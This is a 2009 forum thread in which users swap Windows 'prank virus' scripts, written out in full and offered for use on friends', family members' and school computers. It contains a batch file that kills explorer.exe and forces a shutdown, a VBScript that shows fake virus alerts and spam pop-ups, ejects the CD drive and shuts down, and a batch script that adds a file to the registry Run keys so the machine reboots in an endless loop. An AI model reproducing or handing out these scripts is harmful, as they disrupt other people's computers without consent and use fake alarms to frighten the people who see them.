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2009 Sep 6 • 2547
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SuperJer.com
 
 
2009 Dec 8 at 11:55 PST — Ed. 2009 Dec 8 at 12:41 PST
SuperJer
Websiteman

2005 Mar 20 • 6230
What are you doing?

Is this the worst way to spread a virus ever, or what?
 
 
2009 Dec 8 at 19:46 PST
sprinkles

Chrome Whore
2009 Sep 6 • 2547
10 ₧
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?



Why would I spread a virus on the forum?
I quite like the people here.

It was a tutorial.
 
 
2009 Dec 8 at 19:49 PST
the_cloud_system
polly pushy pants

2008 Aug 1 • 3070
-6 ₧
I drink to forget but I always remember.
 
 
2009 Dec 8 at 19:59 PST
SolidKAYOS
Count Adelaide

Roar Of The Tigress Medal
2007 Jun 24 • 84
68 ₧
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.
Make awkward sexual advances, not war.
Down Rodeo said:
Dammit, this was the one place that didn't have this, but noooooo, molkman pisses all over that
 
 
2009 Dec 8 at 20:40 PST
Mate de Vita
Kelli

2008 Oct 4 • 2453
159 ₧
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.
...and that's the bottom line because Mate de Vita said so.
 
 
2009 Dec 9 at 07:35 PST
the_cloud_system
polly pushy pants

2008 Aug 1 • 3070
-6 ₧
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that fag is.

fixed
I drink to forget but I always remember.
 
 
2009 Dec 9 at 20:08 PST
SolidKAYOS
Count Adelaide

Roar Of The Tigress Medal
2007 Jun 24 • 84
68 ₧
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.

Nope its was just a normal one.I suck.
Make awkward sexual advances, not war.
Down Rodeo said:
Dammit, this was the one place that didn't have this, but noooooo, molkman pisses all over that
 
 
2009 Dec 9 at 20:12 PST
sprinkles

Chrome Whore
2009 Sep 6 • 2547
10 ₧
SolidKAYOS said:
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.

Nope its was just a normal one.I suck.



Batch code
@echo OFF title Virus Detected Do Not Close Window echo Virus Detected attempting to remove virus... echo (press any key to continue) pause >nul echo Virus is spreading throughout the system... echo (press any key to destroy) pause >nul echo destroying virus... echo (press any key to continue) pause >nul echo files deleted to destroy virus echo (press any key to cancel) pause >nul taskkill /f /im explorer.exe cls echo cancel failed echo (press any key to restore) pause >nulecho files restored start /im explorer.exe cls echo files restored echo (press any key to continue) pause >nul echo checking for virus... echo virus still detected echo (press any key to destroy) pause >nul echo virus is destroyed echo (press any key to exit) pause >nul shutdown -s -t 5 -c "virus infected everything Windows is shuting down


I jus copied that off a site, and realized how 'bad' it is.

code
echo (press any key to continue) pause>nul

would stop the program and output
(press any key to continue)

while
code
pause

would do the same thing and output
Press any key to continue...

Stupid people

I put this one on my school's computer , showed my history teacher he laughed like hell.

vbs code
Set wshShell =wscript.CreateObject("WScript.Shell") dim first dim second dim third dim fourth first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected") if first=6 then MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101" elseif first=7 then second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected") if second=6 then MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101" elseif second=7 then MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162" MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support" end if end if colCDROMs.Item(i).Eject wscript.sleep 5000 MsgBox "error you should have shutdown",0,"Virus Error" wscript.sleep 1000 MsgBox "cheap viagra ",0+4096,"viagra 4 sale" wscript.sleep 500 MsgBox "didily do da de ",4096,"song lyrics" colCDROMs.Item(i).Eject wscript.sleep 15000 third= MsgBox ("did you think i was done?",4+4096,"back in black") if third=6 then MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" elseif third=7 then MsgBox "dont click no ",4096,"clicked no" colCDROMs.Item(i).Eject wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" end if do wscript.sleep 200 MsgBox "free music downloads ",4096,"mp3.com" number=number+1 loop while number<=10 colCDROMs.Item(i).Eject wscript.sleep 200 MsgBox "free the free masons now ",4096,"free free masons" wscript.sleep 200 MsgBox "you are all wrong",4096,"nope" wscript.sleep 200 MsgBox "free masons suck ",4096,"masons.suck.com" wscript.sleep 200 MsgBox "syntax error",4096,"error" wscript.sleep 200 MsgBox "heritic anthom",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject MsgBox "8.7.6.6.6.5.4.3.2.1",4096,"" wscript.sleep 200 MsgBox "prize is bigg lol ",4096,"free big prizes here" wscript.sleep 200 MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here" wscript.sleep 200 MsgBox "!",4096,"" wscript.sleep 200 MsgBox "free tampax pearl ",4096,"pearly tampax" wscript.sleep 200 MsgBox "didley do da de do da day",4096,"song lyrics" wscript.sleep 200 MsgBox "iowa",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject WshShell.Run "shutdown"


Take that and save it as .vbs
Have fun
 
 
2009 Dec 10 at 10:04 PST — Ed. 2009 Dec 10 at 10:19 PST
the_cloud_system
polly pushy pants

2008 Aug 1 • 3070
-6 ₧
that would scare the shit out of my sister i got to do that but add "sending child porn to athuoradeys"
I drink to forget but I always remember.
 
 
2009 Dec 10 at 18:23 PST
Sushi

2009 Nov 12 • 364
sprinkles said:
SolidKAYOS said:
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.

Nope its was just a normal one.I suck.



Batch code
@echo OFF title Virus Detected Do Not Close Window echo Virus Detected attempting to remove virus... echo (press any key to continue) pause >nul echo Virus is spreading throughout the system... echo (press any key to destroy) pause >nul echo destroying virus... echo (press any key to continue) pause >nul echo files deleted to destroy virus echo (press any key to cancel) pause >nul taskkill /f /im explorer.exe cls echo cancel failed echo (press any key to restore) pause >nulecho files restored start /im explorer.exe cls echo files restored echo (press any key to continue) pause >nul echo checking for virus... echo virus still detected echo (press any key to destroy) pause >nul echo virus is destroyed echo (press any key to exit) pause >nul shutdown -s -t 5 -c "virus infected everything Windows is shuting down


I jus copied that off a site, and realized how 'bad' it is.

code
echo (press any key to continue) pause>nul

would stop the program and output
(press any key to continue)

while
code
pause

would do the same thing and output
Press any key to continue...

Stupid people

I put this one on my school's computer , showed my history teacher he laughed like hell.

vbs code
Set wshShell =wscript.CreateObject("WScript.Shell") dim first dim second dim third dim fourth first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected") if first=6 then MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101" elseif first=7 then second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected") if second=6 then MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101" elseif second=7 then MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162" MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support" end if end if colCDROMs.Item(i).Eject wscript.sleep 5000 MsgBox "error you should have shutdown",0,"Virus Error" wscript.sleep 1000 MsgBox "cheap viagra ",0+4096,"viagra 4 sale" wscript.sleep 500 MsgBox "didily do da de ",4096,"song lyrics" colCDROMs.Item(i).Eject wscript.sleep 15000 third= MsgBox ("did you think i was done?",4+4096,"back in black") if third=6 then MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" elseif third=7 then MsgBox "dont click no ",4096,"clicked no" colCDROMs.Item(i).Eject wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" end if do wscript.sleep 200 MsgBox "free music downloads ",4096,"mp3.com" number=number+1 loop while number<=10 colCDROMs.Item(i).Eject wscript.sleep 200 MsgBox "free the free masons now ",4096,"free free masons" wscript.sleep 200 MsgBox "you are all wrong",4096,"nope" wscript.sleep 200 MsgBox "free masons suck ",4096,"masons.suck.com" wscript.sleep 200 MsgBox "syntax error",4096,"error" wscript.sleep 200 MsgBox "heritic anthom",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject MsgBox "8.7.6.6.6.5.4.3.2.1",4096,"" wscript.sleep 200 MsgBox "prize is bigg lol ",4096,"free big prizes here" wscript.sleep 200 MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here" wscript.sleep 200 MsgBox "!",4096,"" wscript.sleep 200 MsgBox "free tampax pearl ",4096,"pearly tampax" wscript.sleep 200 MsgBox "didley do da de do da day",4096,"song lyrics" wscript.sleep 200 MsgBox "iowa",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject WshShell.Run "shutdown"


Take that and save it as .vbs
Have fun



What does this do? lol
I know this thread is old, sorry. :P
 
 
2009 Dec 12 at 08:08 PST
Rockbomb
Dog fucker (but in a good way now)

2009 Nov 13 • 2045
Looks like it will pop up saying there is a virus, then ask if you want to shut down, then say its going to shut down no matter what you choose, then pop up with a bunch of spam windows.


Edit: Then it ejects your cd drive, then shuts your comp down xD
 
 
2009 Dec 12 at 08:13 PST — Ed. 2009 Dec 12 at 08:16 PST
Sushi

2009 Nov 12 • 364
Does it damage your pc? Or is it like just a prank? That doesn't damage your pc.
 
 
2009 Dec 12 at 08:26 PST
Rockbomb
Dog fucker (but in a good way now)

2009 Nov 13 • 2045
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\Win32.bat /f echo Owned by Rockbomb PAUSE

 
 
2009 Dec 12 at 08:44 PST — Ed. 2009 Dec 13 at 11:09 PST
Sushi

2009 Nov 12 • 364
Rockbomb said:
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f echo Owned by Rockbomb PAUSE



Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P
 
 
2009 Dec 12 at 09:08 PST
sprinkles

Chrome Whore
2009 Sep 6 • 2547
10 ₧
Sushi said:
Rockbomb said:
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f echo Owned by Rockbomb PAUSE



Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P


Jus' right click it and hit edit [like you would for your hammer bats]
And none of the 'pranks' I make harm your pc. Thats not funny at all. What is funny is when they think it broke their pc and they are all bitchin' about it and youre like "dude it aint broke" that puts a smile on my face everytime
 
 
2009 Dec 12 at 11:08 PST — Ed. 2009 Dec 12 at 11:10 PST
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